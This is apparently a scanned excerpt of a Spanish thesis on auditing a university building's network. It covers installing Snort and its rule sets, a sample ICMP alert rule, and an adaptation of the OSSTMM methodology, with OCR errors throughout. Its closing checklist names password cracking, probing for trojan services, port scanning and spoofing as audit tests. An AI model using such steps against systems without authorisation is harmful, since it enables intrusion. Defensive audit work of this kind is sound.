sudo yum install https://www.snort.org/downloads/snort/dag-2.0.6-1.centos7.x86_64.rpm

sudo yum install https://www.snort.org/downloads/snort/snort-2.9.12-1.centos7.x86_64.rpm

Snort utiliza ciertas bibliotecas de adquisicion de datos llamadas (DAQ) estas bibliotecas son de
captura de paquetes. Snort se actualiza cada cierto tiempo por lo que se recomienda verificar la
version disponible en la pagina oficial https://www.snort.org/, en caso de una nueva version,

simplemente se reemplaza el nimero de version en los comandos antes mostrados.
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Puede que el primer comando en ciertos casos no se ejecute debido a las nuevas versiones de

Snort por lo que el segundo comando ya abarcara las bibliotecas necesarias.

e Configuracion

Primero se debe descargar las reglas de la comunidad, el comando que sigue son los necesarios
para utilizar Snort con estas reglas.

wget https://www.snort.org/rules/community -O ~/community.tar.gz
sudo tar -xvf ~/community.tar.gz -C ~/

sudo cp ~/community-rules/* /etc/snort/rules

Para poder acceder a las reglas registradas de usuario es necesario registrarse en la pagina de
Snort y obtener un codigo OINK el cual es el que dara acceso a estas reglas, una vez registrado
en la pagina web se puede encontrar el codigo en detalles de cuenta de usuario. Una vez

adquirido el cddigo OINK se lo reemplaza en el siguiente comando.

wget https://www.snort.org/rules/snortrules-snapshot-29120.tar.gz?oinkcode=oinkcode -O
~[registered.tar.gz
sudo tar -xvf ~/registered.tar.gz -C /etc/Snort

Los conjuntos de reglas para los usuarios registrados incluyen una gran cantidad de reglas Gtiles
de deteccion preconfiguradas. Se puede habilitar estas reglas adicionales descomentando sus

inclusiones hacia el final del archivo snort.conf.

Luego de la instalacion de NIDS-SNORT vy la obtencion de las reglas de la comunidad y las de
usuario Snort se debe editar el archivo de configuracion /etc/snort/snort.conf, indicando la red a
analizar, los directorios donde se encuentran las reglas que se aplicaran para el andlisis,
configurar la salida para unified2 para iniciar sesién con el nombre de archivo de Snort.log e
incluir las reglas de usuario Snort. En la parte final del archivo se ingresa las siguientes lineas

de comando:

include $SRULE_PATH/local.rules
include $SRULE_PATH/community.rules

Para la ejecucion de Snort se escribe lo siguiente:

sudo snort -A console -i ens192 -u snort -g snort -c /etc/snort/snort.conf
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Esta linea indica que mostrara las alertas en consola escuchando por la interfaz ens192
utilizando el usuario Snort, el grupo de usuarios Snort, aplicando el archivo de configuracion

Snort.conf. Para detener el analisis se presiona Ctrl+c.

2.2.3.3. Alertas y reglas de la comunidad

Snort tiene la capacidad de almacenar paquetes en logs, los cuales contienen detalles de todas
las alertas, asi como también una estadistica de la cantidad de trafico que se analizo en el tiempo
de ejecucion. Snort puede funcionar en tres modos, modo sniffer presentando todos los paquetes
de red en consola, modo Packet logger capturando los paquetes de la red para su posterior
analisis y modo detector de intrusos analizando todos los paquetes contra un conjunto de reglas
definidas por el usuario como por la comunidad de Snort, cabe indicar que este modo es a

tiempo real.

Referente a las reglas de la comunidad, estas pertenecen a una base de datos que se actualiza a
través de internet, es decir los usuarios de Snort pueden crear una regla de deteccién a un tipo de
ataque nuevo y cargarlo para que sea afiadido en la base de datos y ser detectado en otra red que
utilice Snort como NIDS. Cuando Snort esta funcionando en modo NIDS, si encuentra un
paquete que coincida con las reglas definidas en el conjunto de reglas, este paquete se guarda y
salta una alerta en consola donde se puede apreciar donde y cuando se realiz6 el ataque. Snort
también ofrece la opcidn de incluir reglas de deteccion locales, los usuarios de Snort pueden
configurar una alerta para un determinado tipo de trafico, protocolo, o puerto segin las
necesidades de la organizacién. La sintaxis para establecer alertas es facil de entender y se
puede encontrar ejemplos para una correcta escritura. En la figura 2-2 se puede observar un
ejemplo de alerta local en la cual se entiende que aparecera una alerta en consola cuando el
trafico del protocolo ICMP sea detectado desde cualquier red por cualquier puerto hacia
cualquier red indicando el mensaje de la alerta y su identificacion. Para el andlisis que se realizd
Snort estaba en modo NIDS, de esta manera se registré todas las alertas que se generaron en el

analisis del trafico a tiempo real de la red del edificio de la FIE-ESPOCH.

alert icmp any any —> SHOME NET any (msqg:"ICMP test"; sid:10000001; rev:001;)

Figura 2-2 Ejemplo de establecimiento de una alerta local en Snort
Realizado por: Byron Barragan, 2020
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2.2.3.4. Procedimiento de andlisis de Snort de la red del edificio de la FIE-ESPOCH

Una vez configuradas las maquinas virtuales e instalado NIDS-SNORT, el anélisis de trafico de
cada una de las Vlans empieza. Para el caso de la Vlan Estudiantes el anélisis tuvo una primera
prueba el 2 de mayo de 2019 aproximadamente a las 8 AM, se analizd el trafico durante todo el
dia con la finalidad de comprobar el funcionamiento, registro de alertas y paquetes. El analisis
inicié formalmente el 6 de mayo a las 8 AM y culminé el 7 de junio. El horario que se tomé en
cuenta para el analisis fue de todos los dias incluidos fines de semana las 24 horas, exceptuando
los dias feriados, se debe indicar que cada dia se registraba la cantidad de paquetes analizados,
asi como también las alertas que se daban en la Vlan con sus respectivas direcciones IP de
origen y destino, cada alerta tiene un identificador el cual puede ser consultado en la pagina
oficial de Snort para mas informacién y posibles soluciones, en el registro de alertas se
documenté el identificador, la fecha, hora de cada alerta, nimero total de alertas en el dia y

algunas observaciones presentadas durante el analisis.

Para el caso de la Vlan Docentes el analisis inicié el 17 de junio de 2019 y culminé el 17 de
julio. El procedimiento para el analisis fue el mismo que se aplic6 en Vlan Estudiantes, es decir,

el mismo horario y procedimiento de registro.

Para el caso de Vlan Administrativos el andlisis inici6 el 17 de junio de 2019 y culminé el 17 de
julio. El procedimiento para el analisis fue el mismo que se aplic6 en Vlan Estudiantes y Vlan

Docentes, es decir, el mismo horario y procedimiento de registro.

2.2.4. Parametros de la metodologia OSSTMM.

La metodologia OSSTMM se maneja definiendo un alcance, el alcance es el entorno de
seguridad operativo total posible para cualquier interaccion con cualquier activo que pueda
incluir también los componentes fisicos de las medidas de seguridad. El alcance se compone de
tres clases, de las cuales hay cinco canales: canales de seguridad de redes de datos y
telecomunicaciones de la clase COMSEC, canales de seguridad fisica y humana de la clase
PHYSSEC, y el canal de seguridad inalambrico de espectro completo de la clase SPECSEC.

Las clases son de designaciones oficiales actualmente en uso en la industria de la seguridad.
(ISECOM & Herzog, 2010, p. 34)

Tabla 1-2: Division de clases y canales de la metodologia OSSTMM
Clase Canal Descripcion

Seguridad Fisica Humano Comprende el elemento humano de la
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(PHYSSEC)

comunicacion donde la interaccion es

fisica o psicoldgica.

Fisico

Pruebas de seguridad fisica donde el
canal es tanto de naturaleza fisica como
no electronica. Comprende el elemento
fisico de seguridad donde la interaccion
requiere fuerza o un transmisor de

energia

Seguridad del Espectro
(SPECSEC)

Inaldmbrico

Comprende todas las comunicaciones
electronicas, sefiales y emanaciones que
tienen lugar en el espectro EM. Esto
incluye ELSEC como comunicaciones
electronicas, SIGSEC como sefiales y
EMSEC que son emanaciones no atadas
por cables

Seguridad de las
Comunicaciones
(COMSEC)

Telecomunicaciones

Comprende todas las redes de
telecomunicacion, digitales 0
analdgicas, donde la interaccion es a
través de un teléfono establecido o como

lineas de red.

Redes de datos

Comprende  todos los  sistemas
electronicos y redes de datos donde la
interaccion es a través de cables

establecidos y lineas de redes cableadas.

Fuente: (ISECOM & Herzog, 2010, p. 35)
Realizado por: Byron Barragan, 2020

En la Tabla 1-2 se observa el alcance que la metodologia OSSTMM tiene en cuenta para la

realizacion de una auditoria. Para la realizacién de este trabajo de titulacion solo se tomaran en

cuenta los canales Humano y Redes de Datos ya que son los que se adecuan a la investigacion

del grupo SEGINTE. La seleccion de estos canales es debido a que el canal humano se relaciona

con el perfil de los usuarios que utilizan la red, dentro de estos puede estar un usuario insider

por lo cual se analizara la seguridad de este canal enfocandose hacia este tipo de usuarios y el

canal de redes de datos para analizar la seguridad actual de la red cableada del edificio de la

FIE-ESPOCH.
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OSSTMM también define métricas para la evaluacion de la seguridad operacional de cada
canal. La informacion de cada uno de los canales auditados se encuentra resumida en el Rav, un
Rav es una medida de escala de la superficie de ataque, la cantidad de interacciones no
controladas con un objetivo, que se calcula mediante el equilibrio cuantitativo entre
operaciones, limitaciones y controles. Tener los Ravs es entender cuénta superficie de ataque
estd expuesta. En esta escala, 100 Rav es el equilibrio perfecto y cualquier cosa menos es muy
poco control y por lo tanto una mayor superficie de ataque. Por otro lado, mas de 100 Rav
muestra méas controles de los que son necesarios, 1o que puede significar un problema, ya que
los controles a menudo agregan interacciones dentro de un alcance, asi como problemas de
limitaciones y mantenimiento. El Rav es en realidad multiples célculos separados de Porosidad,
Controles y Limitaciones, que cuando se combinan mostraran el tamafio de una superficie de

ataque. (ISECOM & Herzog, 2010, p. 63)

Existen dos maneras para calcular el estado actual de la seguridad operacional de cada canal una
de manera manual aplicando formulas definidas en la metodologia 0 de manera automatizada
utilizando una hoja de calculo del Rav la cual se puede descargar del sitio web oficial de
ISECOM, en esta hoja de célculo se ingresa los valores numéricos de cada item y el resultado se

obtendra de forma automatica. Para este trabajo se toma en cuenta la manera automatizada.

A continuacién, se mencionan los items para el célculo del Rav:
e Porosidad: Se mide como la suma de Visibilidad, Acceso y Confianza.
e Limitaciones: Vulnerabilidad, Debilidad, Preocupacién, Exposiciéon y Anomalia.
e Controles
o Clase A: Autenticacion, Indemnizacion, Resistencia, Subyugacion, Continuidad.

o Clase B: No-Repudio, Confidencialidad, Privacidad, Integridad y Alarma.

En la tabla 2-2 se puede apreciar de mejor manera todos los items y sus relaciones, necesarios

para el célculo del Rav de cada canal que se va a auditar.

Tabla 2-2: Porosidad, Controles y limitaciones en la metodologia OSSTMM
Seguridad Operacional

Categoria ] Limitaciones
(Porosidad)
Visibilidad Exposicién
Operaciones Acceso N
i Vulnerabilidad
Confianza
Controles Clase A Autenticacion Debilidad
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Indemnizacion

Resistencia

Subyugacién

Continuidad

No repudio

Confidencialidad

Clase B Privacidad Preocupacion

Integridad

Alarma

Anomalia

Fuente: (ISECOM & Herzog, 2010, p. 79)
Realizado por: Byron Barragan, 2020

2.2.4.1. Fases de la metodologia OSSTMM para el canal humano.

Fase 1: Induccién

Esta fase consta de: Revision de la postura, Logistica y Verificacion de deteccién activa. A

continuacion, se explica brevemente cada una.
Revision de la postura

Los estudios iniciales de la postura incluyen las leyes, la ética, las politicas, los reglamentos de
la industria y la cultura politica que influyen en los requisitos de seguridad y privacidad para el

alcance. (ISECOM & Herzog, 2010, p. 106)

Los puntos que trata son: Politicas, Legislacion, Regulaciones, Cultura, Relaciones, Economia y

Cultura Regional.
Logistica

Preparacion del entorno de prueba de canal necesario para evitar errores que conducen a
resultados de prueba inexactos. (ISECOM & Herzog, 2010, p. 107). Los puntos que trata son: Equipos

de comunicacion, Comunicaciones, Tiempo

e Equipos de comunicacién: Comunicaciones que proporcionan identificacion al receptor,
como identificacion de llamadas, servicio de FAX, registro de direcciones IP o servidores
de correo electronico.

e Comunicaciones: Idioma

e Tiempo: Zona horaria, horarios de trabajo.
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Verificacion de deteccidn activa

Determinacion de los controles activos y pasivos para detectar una intrusion. (ISECOM & Herzog,
2010, p. 108). Los puntos que tratan son: Monitoreo de canal, Moderacion de canales, Supervision
y asistencia de operador.

e  Monitoreo de canal: Canales de soporte para los servicios que se prestan en el alcance.
Ejemplo: Chat, correo electrénico, etc.

e  Moderacion de canales: Procedimientos que se llevan a cabo si los canales de soporte
presentan fallas o no se encuentran habilitados.

e Supervision y asistencia de operador: Si se realiza los procedimientos con previa

autorizacién y con el personal adecuado.

Fase 2: Interaccién

La fase de interaccion cuenta con: Auditoria de la Visibilidad, Verificacion de acceso,

Verificacion de confianza y Verificacion de controles.

Auditoria de la visibilidad

Pruebas de enumeracion y verificacion para la visibilidad del personal con el que es posible la
interaccion a través de diferentes formas. (ISECOM & Herzog, 2010, p. 109). Los puntos que trata

son: Identificacion de acceso y enumeracion de personal.

e Identificacion de acceso: Interacciones con el personal de acceso.
e  Enumeracion personal: Enumeracion de la cantidad de personal o areas dentro del alcance
con acceso autorizado y no autorizado a los activos ejemplo. Cuarto de

telecomunicaciones.

Verificacion de acceso

Pruebas para la enumeracion de puntos de acceso al personal dentro del alcance.(ISECOM &

Herzog, 2010, p. 109). L0os puntos que trata son: Proceso de acceso, Autoridad, y Autenticacion.
e  Proceso de acceso: Procesos que se debe realizar para acceder a los activos.

e Autoridad: Determinar hasta donde puede acceder una persona con permisos de autoridad y

los métodos utilizados.
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e Autenticacion: Enumeracion de las deficiencias del personal para que solo las partes

identificables, autorizadas y previstas tenga acceso.

Verificacion de confianza

Pruebas de confianza entre el personal dentro del alcance donde la confianza se refiere al acceso
a la informacién o los activos fisicos. (ISECOM & Herzog, 2010, p. 110). L0OS puntos que trata son:

Tergiversacion, Fraude, no direccidn, Phishing, Abuso de recursos, In Terrorem.

Todos estos puntos tratan sobre requerimientos y como acceder a los activos en el alcance. Para
Fraude y Phishing se trata de documentar que pasa si se presentan requerimientos fraudulentos o
intentos de acceder a los activos de distintas formas a las establecidas.

Verificacion de controles (Controles de clase B)

Pruebas para enumerar los tipos de controles utilizados para proteger el valor de los activos.

(ISECOM & Herzog, 2010, p. 111). Estos puntos son los controles definidos de clase B.

¢ No repudio: Deficiencias que el personal de acceso posee que desafian al repudio.

e Confidencialidad: Deficiencias de la comunicacién con el personal utilizando lineas
seguras, cifrado, interacciones personales "silenciadas" o "cerradas" para proteger la
confidencialidad de los activos.

e Privacidad: Deficiencias de todos los segmentos de comunicacién con el personal a través
de un canal para proteger la privacidad.

e Integridad: Deficiencias en todos los segmentos de comunicacién con el personal, donde
los activos se transportan a través de un canal para proteger y asegurar que la informacion o
los activos fisicos no se puedan cambiar.

e Alarma: Sistemas que proporcionan seguridad fisica.

Fase 3: Indagatoria o Investigacién

Esta fase consta de: Verificacion de Procesos, Verificacion de Entrenamiento, Validacion de la
Propiedad, Revision de Segregacion, Verificacion de Exposicion y Exploracion de Inteligencia

Competitiva.
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Verificacion de procesos

Pruebas para examinar el mantenimiento de la conciencia de seguridad funcional del personal
en los procesos, se relaciona con la revision de la postura. (ISECOM & Herzog, 2010, p. 112). L0S

puntos gue trata son: Mantenimiento, Desinformacion, Diligencia e indemnizacion.

e  Mantenimiento: Revision de la conciencia de los trabajadores hacia la seguridad. Se
relaciona con la revision de postura.

e Desinformacion: En qué medida las notificaciones de seguridad del personal y las noticias
de seguridad se pueden ampliar o alterar con informacion errénea.

o Diligencia: Brechas entre la préactica y los requisitos segln lo determinado en la revision de
postura.

e Indemnizacion: Abuso o elusion de la politica del empleado, seguro, no divulgacion, no

competencia, contratos de responsabilidad, o renuncias con todo el personal de acceso.
Verificacion de entrenamiento
Pruebas para examinar la capacidad de eludir o interrumpir la educacion y la capacitacion sobre

la conciencia funcional de la seguridad en el personal. (ISECOM & Herzog, 2010, p. 113). L0S puntos

que trata son: Mapeo Educativo, Interrupcion de Politica, Mapeo de Conciencia, Hijacking.

Mapeo educativo: Cada qué periodo se realiza cursos educativos o capacitaciones acerca de

seguridad dirigido a todos los trabajadores.

e Interrupcién de politica: Auto vigilancia del personal por la interrupcion o la no
conformidad de la politica de seguridad.

e  Mapeo de conciencia: Brechas en los procesos de capacitacion.

e Hijacking: Hasta qué punto una persona no oficial proporciona informacion errénea sobre

politica de seguridad.

Validacion de la propiedad

Pruebas para examinar la informacién y la propiedad fisica disponible o proporcionada por
personal que puede ser ilegal 0 poco ético. (ISECOM & Herzog, 2010, p. 114). Los puntos que trata

son: Compartir, Mercado negro y Canales de venta.

e  Compartir: Verificacion del grado en que la propiedad con licencia individual, privada,
falsificada, reproducida, no libre o no abierta se comparte entre el personal. Se relaciona

con la revision de la postura.
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e Mercado negro: La medida en que la propiedad con licencia individual, privada,
falsificada, reproducida, no libre o no abierta se promociona, comercializa o vende entre el
personal o la organizacién.

e Canales de venta: Negocios publicos, fuera de alcance, subastas 0 ventas de propiedades

que brinden informacién de contacto a través de canales que se originen dentro del alcance.

Revision de segregacion

Pruebas para la separacion apropiada de los activos de informacion privada o personal de la
informacién comercial. (ISECOM & Herzog, 2010, p. 115). L0S puntos que tratan son: Asignacion de

contencion de privacidad, Informacion evidente y divulgacion.

e Asignacion de contencion de privacidad: Guardias de los activos de informacion privada
dentro del alcance, qué informacion se almacena, cémo y ddénde se almacena la
informacién, y a través de qué canal se comunica la informacion. Se relaciona con la
revisién de la postura

e Informacion evidente y divulgacién: Informacion con respecto a la persona responsable de
los activos. Tales como nombres, raza, sexo, religion, dias de vacaciones, paginas web
personales, hojas de vida publicadas, afiliaciones personales, consultas de directorio,
sucursales bancarias, registro electoral.

e Limitaciones: Revision de las fases anteriores conteo de los errores y anomalias. Esta se
divide en vulnerabilidades, debilidades, Preocupacion, Exposicién y Anomalias. Se aplica

para el célculo final de RAV.

Verificacion de exposicion

Pruebas para descubrir informacion que proporciona o conduce a un acceso autenticado o
permite el acceso no deseado a multiples ubicaciones con la misma autenticacion. (ISECOM &

Herzog, 2010, p. 116) L0S puntos que tratan son: Mapeo de exposicién y Perfilado.

e Mapeo de exposicion: Revision de informacién personal con respecto a la organizacion,
como organigramas, titulos de personal clave, etc.
e Perfilado: Perfiles, habilidades de los empleados, las escalas salariales, la informacion del

canal y la puerta de enlace, las tecnologias y la direccion.

Exploracion de inteligencia competitiva
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Pruebas de busqueda de propiedades que pueden analizarse como inteligencia empresarial.
(ISECOM & Herzog, 2010, p. 116). Los puntos que tratan son: Molienda comercial, Entorno

empresarial y organizacional.

e Molienda comercial: Responsables de los activos comerciales dentro del alcance, qué
informacién se almacena, como y donde la informacion se almacena y a través de qué
canales se comunica la informacion personal.

o Entorno empresarial: Detalles comerciales del personal de la puerta de enlace individual,
tales como alianzas, socios, principales clientes, proveedores, distribuidores, inversores,
etc.

e  Entorno organizacional: Tipos de revelaciones de activos comerciales de los guardianes en

operaciones, procesos etc.

Fase 4: Intervencion

Esta fase consta de: Verificacion de cuarentena, Privilegios de auditoria y continuidad de

servicio.

Verificacidn de cuarentena

Pruebas para verificar el correcto posicionamiento y contencién de contactos agresivos u
hostiles en los puntos de entrada. (ISECOM & Herzog, 2010, p. 117). Los puntos que trata son:

Identificacion del proceso de contencion y Niveles de contencidn.

e Identificacion del proceso de contencion: Métodos y procesos de cuarentena en las puertas
de acceso en todos los canales para contactos agresivos y hostiles como vendedores, etc.
e Niveles de contencion: Estado de contencidn, el periodo de tiempo y todos los canales

donde la interaccion con los responsables tiene métodos de cuarentena.

Privilegios de auditoria

Pruebas en las que se proporcionan credenciales al usuario y se otorga permiso para probar con
esas credenciales. (ISECOM & Herzog, 2010, p. 117). Los puntos que trata son: Subyugacion,

Identificacion, Autorizacion, Escalamiento de permisos y Discriminacion.

e Subyugacion: Deficiencias de los activos comunicados a través de canales donde esos

controles no son necesarios.
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Continuidad de servicio

Determinar y medir la resistencia de los controladores de acceso dentro del alcance a cambios
excesivos u hostiles disefiados para causar fallas en el servicio. (ISECOM & Herzog, 2010, p. 118).
[ ]

activos.

Resistencia: Deficiencias en todos los canales del personal dentro del alcance mediante el
cual eliminar o silenciar al personal de la puerta de enlace permitira el acceso directo a los

Continuidad: Deficiencias de todo el personal con respecto a los retrasos en el acceso y el
tiempo de respuesta del servicio.

Todo lo resumido anteriormente se puede representar en un diagrama mostrado en la figura 3-2

A j Active
(z’ Posture Logistics . Detection VisiDiETy Audit
s, Review w Vedfication o
N
% \..‘ S
\\\
\\ \\ v
"\ AN Controls: 41— Trust 4+ —»  Access
\\ \.\ Verdfication Verification Verfication
\II‘. ‘-,\ / *
.\I \'\ //' 'l
5 s
\ rocss | | Coigtmion \
\ ; ation
-.\ Verification P fTravig Verkcasion) H
\ A
'.\ 'l
3 \
\' v \4 _ 'k
Properfy Segregation Exposure |
validation > Raview < » Verfication |
A '\
A A r lﬂ
Competitive i Tt / ‘ H
Inteligence Quarantine- Privileges Audit
scouting Vedfication 417—0» ‘ \
L) lﬁ
4
Sundvabiity
Vdlication
Figura 3-2: Diagrama de la metodologia OSSTMM
Fuente: (ISECOM & Herzog, 2010, p. 103)
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2.2.4.2. Adaptacion de la metodologia OSSTMM para su aplicacién en el canal humano en el
edificio de la FIE-ESPOCH.

Para la auditoria del canal humano se ha propuesto un analisis propio que incluye: actividades
evaluadas en la red de campus académica y pruebas de la metodologia.

Fase 1: Induccién

Revision de la postura

Los puntos para considerar en la adaptacién son: Politicas, Legislacion y regulaciones, Cultura,

Relaciones. No se tomd en cuenta: Economia y cultura regional

e Economia: No se tiene acceso a la informaciéon de salarios de los trabajadores en el
escenario.

e  Culturaregional: No influye la cultura regional o jerarquia

Logistica

e Equipos de comunicacion: En el edificio donde se aplica la metodologia solo cuenta con
servicio de internet e identificador de llamadas, no cuenta con servicio de FAX, registro de
direcciones IP, credenciales de localizacion o servidores de correo electrénico etc.

e  Comunicaciones: espafiol.

e Tiempo: Se revisa zona horaria, los horarios de clase cambian de acuerdo con cada
profesor segun el periodo por lo que no se tomd en cuenta; sector administrativo el horario

esta completamente definido.
Verificacion de deteccion activa
El edificio solo cuenta con servicio de acceso a internet y telefonia. El soporte técnico y los
diferentes inconvenientes son atendidos por los ingenieros encargados de los laboratorios del
edifico. No se toma en cuenta Verificacion de deteccion activa en la adaptacion por lo antes

mencionado.

La fase de induccidn se realizara con una lista de verificacion de la seguridad abarcando todos

los puntos propios de la fase.
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Fase 2: Interaccién

En esta fase se busca calcular el valor de la seguridad operacional o porosidad y los valores de
los controles de interaccion clase Ay B

Auditoria de la visibilidad

e Identificacion de acceso: Se trata de las interacciones de los técnicos con los estudiantes,
docentes y administrativos ademas de los procesos que manejan.

e  Enumeracion personal: El personal dentro del alcance con acceso autorizado y no
autorizado a los activos, en este caso el cuarto de telecomunicaciones, laboratorios, aulas y

equipos.

Verificacion de acceso

e  Proceso de acceso: Relacionado con los procesos y métodos para acceder a los activos del
edificio por lo que se contabiliza los escenarios donde puede ocurrir una interaccion sin que
se necesite una autorizacion.

e Autoridad: Solo los técnicos pueden prestar los activos del edificio por lo que este punto no
se toma en cuenta.

e Autenticacion: En este punto se va a contabilizar los métodos por los cuales se puede

interactuar con el personal de recepcion y acceso. Este es un control de clase A.

Verificacion de confianza

Todos estos puntos hacen referencia a procesos, pruebas de requerimientos y como acceder a los
activos en el edificio. Para Fraude y Phishing los documentos de solicitacion de préstamo de
laboratorios son redactados por las secretarias de cada escuela por lo que no existe algln tipo de
fraude; no se toma en cuenta estos dos puntos. El abuso de los recursos es un punto importante,
los técnicos entran en esta categoria. Se resumid en el conteo de los procesos para que los

estudiantes ingresen a los activos.

Verificacion de controles (Controles de clase B)

Los puntos que se manejan en verificacion de controles se basan en las actividades que se
realiza diariamente en el edificio. A continuacion, se presenta cada punto y lo que toma en
cuenta para hacer un conteo. Al ser estos controles de clase B es importante saber que se va a

contar para le calculo final de la seguridad operacional del canal humano.
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No repudio: Contabilizar quiénes del personal de recepcion identifican y registran
adecuadamente el acceso o las interacciones con los activos para obtener evidencia
especifica para impugnar el repudio del edifico.

Confidencialidad: Contabilizar los segmentos de comunicacion con los encargados dentro
del alcance que son eficientes.

Privacidad: Contabilizar los métodos eficientes para asegurar este control.

Integridad: Contabilizar los métodos eficientes aplicados en el alcance para proteger y
asegurar que la informacion de los activos fisicos no pueda ser cambiados, conmutados,
redirigidos o invertidos sin que las partes involucradas tengan conocimiento de ello.

Alarma: Contabilizar los sistemas de advertencia en caso de alguna emergencia.

Fase 3: Indagatoria o Investigacién

Verificacion de procesos

Mantenimiento: Se relaciona con la revision de postura. En la lista de verificacion de la
seguridad se indaga acerca de cursos de capacitacién sobre seguridad hacia el personal
(Estudiantes docentes y administrativos).

Desinformacion y Diligencia: No se toma en cuenta este punto ya que no existe cursos de
capacitacion de seguridad, solo cursos impartidos por el proveedor de servicios. (Esta
informacidn se obtuvo en la lista de verificacion de la seguridad).

Indemnizacion: Contabilizar los documentos legales a los que deben someterse los
estudiantes o docentes del alcance para la utilizacidn de ciertos activos o informacion. Se

debe indicar que es un control de clase A.

Verificacion de entrenamiento

En general se refiere a la capacitacion acerca de la seguridad informatica a los trabajadores en

este caso docentes y personal técnico, como se mostr6 en la fase de induccién no existe

capacitacion mas que por el proveedor de servicios y no en seguridad. Por lo que no se toma en

cuenta.

Interrupcion de politica: En el edificio cuenta con camaras que estan instaladas en los
laboratorios mas no en las aulas de clases.

Hijacking: No aplica ya que la cantidad de estudiantes es grande.
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Validacién de la propiedad

e  Mercado negro: Todos los programas utilizados en los laboratorios son distribuidos a los
estudiantes si se solicita, solo algunos de estos programas tienen licencias.
e Canales de venta: Al ser distribuidos abiertamente no se tiene control de lo que el

estudiante hace con el software.

Revisidn de segregacion

e Asignacion de contencion de privacidad: Como se maneja la privacidad en el alcance.

e Limitaciones: Revision de las fases anteriores conteo de los errores y anomalias. Esta se
divide en vulnerabilidades, debilidades, Preocupacién, Exposicion y Anomalias. Se aplica
para el célculo final de RAV.

Verificacion de exposicion

e  Mapeo de exposicion: Esta informacion no se puede proporcionar.

e Perfilado: Esta informacion no se puede proporcionar.

Por esta razon Verificacion de exposicion no se toma en cuenta para la adaptacion de la

metodologia del canal humano.

Exploracién de inteligencia competitiva

Este punto estda mas relacionado a empresas debido a esto no se toma en cuenta ya que la

ESPOCH es una institucion educativa.

Fase 4: Intervencion

Verificacidon de cuarentena

No se toma en cuenta para la adaptacion de la auditoria del canal humano, no aplica a un

ambiente educativo.

Privilegios de auditoria

e  Subyugacion: es un control de clase A, contabilizar los métodos por los cuales se puede

interactuar con el personal de recepcion.
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e ldentificacion, Autorizacion, Escalamiento de permisos, discriminacion; Todo se realiza

con previa identificacion. En concordancia con la fase de induccion.

Continuidad de servicio

e Resistencia: Contabilizar los encargados que permiten acceder sin autorizacion a los
activos del cuarto de telecomunicaciones.
e Continuidad: Contabilizar el total de encargados que genera conflictos en cuanto a retrasos

de acceso. Este es un control de clase A

El siguiente diagrama indica como se va a realizar la auditoria en el canal humano en el edificio
de la FIE-ESPOCH.

Revision de la e _ Auditaria de
Postura RS > Visibilidad
A
Yy
Verificacionde | | \Verifiacionde | | Vernficacionde |
Controles Il Confianza Il Acceso -
Y f
_ | Verificacion de _ | Privilegios de _ | Continuidad de
o Procesos ol Auditoria - Servicios
A
Y \
| Validacionde | [ Rewvision de Alertas y Revision; Fin de la
= Propiedad 7| Searegacion encuesta

Grafico 2-2: Adaptacién de la metodologia OSSTMM para el canal humano en la FIE-

ESPOCH
Realizado por: Byron Barragén, 2020

En la figura 4-2, el color amarillo representa la fase de induccion, donde se determina el estado
actual de la seguridad en la organizacion. En esta fase tenemos Revision de la postura y

logistica.
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El color naranja representa la fase de interaccion, en esta fase se busca calcular el valor de la
seguridad operacional o porosidad, asi como también los valores de los controles de interaccion
clase Ay B, para el célculo de la porosidad se toma en cuenta la auditoria de la visibilidad,
verificacion de acceso y verificacion de confianza como se observa en la tabla 14-3, sin
embargo, no se especifica cudles son debido a acuerdos de confidencialidad para realizar el
presente trabajo. Para el célculo de los controles de interaccion de clase A se realizan conteos
gue se pueden encontrar en la tabla 15-3 donde los controles son: autenticacion, indemnizacién,

resistencia, subyugacion y continuidad.

Para el calculo de los controles de interaccion clase B tenemos verificacion de procesos como
alarmas e interacciones con ellas y también verificacion de controles. Este conteo se muestra en
la tabla 16-3. Los controles de clase B son el no repudio, confidencialidad, privacidad,

integridad.

El color Azul representa la fase indagatoria, en esta fase se busca calcular el valor de las
limitaciones, para este calculo tenemos revision de segregacion, verificacion de procesos y
validacion de propiedad, se tiene en cuenta los valores de vulnerabilidad, debilidad,
preocupacion exposicion y anomalias como se observa en la tabla 17-3.

Una vez calculado los valores totales se ingresa en la hoja de céalculo proporcionada por la
pagina web de ISECOM Yy se obtiene como resultado el valor del RAV de la seguridad en el
canal auditado, y la fase de intervencion entra en desarrollo, en esta fase lo que se hace es una
revision de todos los valores obtenidos y se interpreta el resultado del RAV para generar
acciones correctivas basado en la fase de induccion en verificacion de accesos o también

generar alertas segun el resultado obtenidos gracias a los privilegios de auditoria.

2.2.4.3. Adaptacién de la metodologia OSSTMM para su aplicacion en el canal de red de datos
en el edificio de la FIE-ESPOCH.

Para la auditoria del canal de red de datos se ha propuesto un andlisis propio que incluye:

actividades evaluadas en la red de campus y pruebas de la metodologia.

Fase 1: Induccién

Esta fase consta de: Revision de la postura, Logistica y Verificacion de deteccion activa. La fase
de induccién del canal red de datos se desarroll6 en la fase de induccion del canal humano

teniendo en cuenta una lista de verificacion de seguridad realizado al DTIC, esta lista de
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seguridad abarca temas de la fase de induccion del canal de red de datos. En esta fase se toma en

cuenta revision de la postura y logistica.

Fase 2: Interaccién

La fase de interaccién cuenta con: Auditoria de la visibilidad, Verificacion de acceso,

Verificacion de confianza y Verificacion de controles.

Auditoria de la visibilidad

Encuesta de red:

Identifigue el perimetro del (los) segmento (s) de la red.

Use un sniffer de la red para identificar los protocolos emanantes en la red.

Verificar el broadcast requests difusion y las respuestas de todos los objetivos.

Verificar y examinar el uso del trafico y los protocolos de enrutamiento para todos los
destinos

Verifique las respuestas de ICMP de todos los objetivos.

Rastree la ruta los paquetes TCP a todos los destinos para los puertos SSH, SMTP, HTTP y
HTTPS.

Rastree la ruta de los paquetes UDP a todos los destinos para los puertos DNS y SNMP.

Enumeracion:

Verifique las respuestas de las solicitudes de paquetes UDP a diferentes puertos.
Verifique las respuestas de solicitud de servicio a los puertos de malware conocidos o
creados.

Verifique las respuestas de las solicitudes de paquetes TCP a diferentes puertos.

Verificacion de acceso

Red:

Manipular el servicio de red y el enrutamiento para acceder a restricciones pasadas dentro
del alcance. (Test de alcance)
Solicite servicios de troyanos comunes y conocidos que utilizan UDP, TCP o ICMP para

las conexiones.

Servicios:

Escaneo de puertos (descubrir puertos abiertos)
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Autenticacion:
e Enumere los accesos que requieren autenticacion y documente todos los privilegios
descubiertos que se pueden usar para proporcionar acceso.

o Verifique la solidez de la autenticacién a través de descifrar las contrasefias.

Verificacion de confianza

Spoofing:

e Pruebe las medidas para acceder a la propiedad dentro del alcance mediante la
suplantacion.

Abuso de recursos:

e  Comprobar como se utilizan los recursos.

